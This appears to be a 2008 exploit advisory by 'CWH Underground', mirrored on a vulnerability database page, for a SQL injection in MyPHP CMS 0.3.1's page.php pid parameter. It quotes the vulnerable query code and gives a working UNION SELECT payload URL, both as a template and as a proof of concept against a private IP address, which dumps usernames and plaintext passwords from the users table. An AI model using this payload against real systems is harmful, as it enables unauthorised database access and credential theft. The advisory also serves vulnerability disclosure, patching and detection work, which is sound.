MyPHP CMS 0.3.1 (page.php pid) Remote SQL Injection Vulnerability

🗓️ 28 Jun 2008 00:00:00Reported by RootType
MyPHP CMS 0.3.1 Remote SQL Injection Vulnerabilit

                                                ===============================================================
&nbsp;&nbsp;MyPHP&nbsp;CMS&nbsp;(page.php&nbsp;pid)&nbsp;Remote&nbsp;SQL&nbsp;Injection&nbsp;Vulnerability
===============================================================

&nbsp;&nbsp;,--^----------,--------,-----,-------^--,
&nbsp;&nbsp;|&nbsp;|||||||||&nbsp;&nbsp;&nbsp;`--------'&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;O	..&nbsp;CWH&nbsp;Underground&nbsp;Hacking&nbsp;Team&nbsp;..
&nbsp;&nbsp;`+---------------------------^----------|
&nbsp;&nbsp;&nbsp;&nbsp;`\_,-------,&nbsp;_________________________|
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/&nbsp;XXXXXX&nbsp;/`|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/&nbsp;XXXXXX&nbsp;/&nbsp;&nbsp;`\&nbsp;&nbsp;&nbsp;/
&nbsp;&nbsp;&nbsp;&nbsp;/&nbsp;XXXXXX&nbsp;/\______(
&nbsp;&nbsp;&nbsp;/&nbsp;XXXXXX&nbsp;/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;/&nbsp;XXXXXX&nbsp;/
&nbsp;(________(&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;`------'


AUTHOR&nbsp;:&nbsp;CWH&nbsp;Underground
DATE&nbsp;&nbsp;&nbsp;:&nbsp;25&nbsp;June&nbsp;2008
SITE&nbsp;&nbsp;&nbsp;:&nbsp;www.citec.us


#####################################################
&nbsp;APPLICATION&nbsp;:&nbsp;MyPHP&nbsp;CMS
&nbsp;VERSION&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;0.3.1
&nbsp;VENDOR&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;N/A
&nbsp;DOWNLOAD&nbsp;&nbsp;&nbsp;&nbsp;:&nbsp;http://downloads.sourceforge.net/myphpcms
#####################################################

---&nbsp;Remote&nbsp;SQL&nbsp;Injection&nbsp;---

**&nbsp;Magic&nbsp;Quote&nbsp;must&nbsp;turn&nbsp;off&nbsp;**

---------------------------------
&nbsp;Vulnerable&nbsp;File&nbsp;[page.php?pid=]
---------------------------------

@Line&nbsp;

&nbsp;&nbsp;&nbsp;13:&nbsp;&nbsp;&nbsp;$psql&nbsp;=&nbsp;&quot;SELECT&nbsp;&nbsp;*&nbsp;FROM&nbsp;&quot;.$table_prefix.&quot;pages&nbsp;WHERE&nbsp;pid='$pid'&quot;;
&nbsp;&nbsp;&nbsp;14:	&nbsp;$pprocess&nbsp;=&nbsp;mysql_query&nbsp;(&nbsp;$psql&nbsp;);
&nbsp;&nbsp;&nbsp;15:	&nbsp;$prow&nbsp;=&nbsp;mysql_fetch_array&nbsp;(&nbsp;$pprocess&nbsp;);

---------
&nbsp;Exploit
---------

[+]&nbsp;http://[Target]/[myphpcms_path]/pages.php?pid=-9999'/**/UNION/**/SELECT/**/1,username,3,password,5,6/**/FROM/**/[prefix_users]/**/WHERE/**/uid='1

	This&nbsp;exploit&nbsp;can&nbsp;dump&nbsp;username&nbsp;and&nbsp;password&nbsp;in&nbsp;clear&nbsp;text

-------------
&nbsp;POC&nbsp;Exploit
-------------

[+]&nbsp;http://192.168.24.25/myphpcms/pages.php?pid=-9999'/**/UNION/**/SELECT/**/1,username,3,password,5,6/**/FROM/**/users/**/WHERE/**/uid='1



##################################################################
#&nbsp;Greetz:&nbsp;ZeQ3uL,&nbsp;BAD&nbsp;$ectors,&nbsp;Snapter,&nbsp;Conan,&nbsp;JabAv0C,&nbsp;Win7dos&nbsp;&nbsp;#
##################################################################
28 Jun 2008 00:00Current
7.1High risk
Vulners AI Score7.1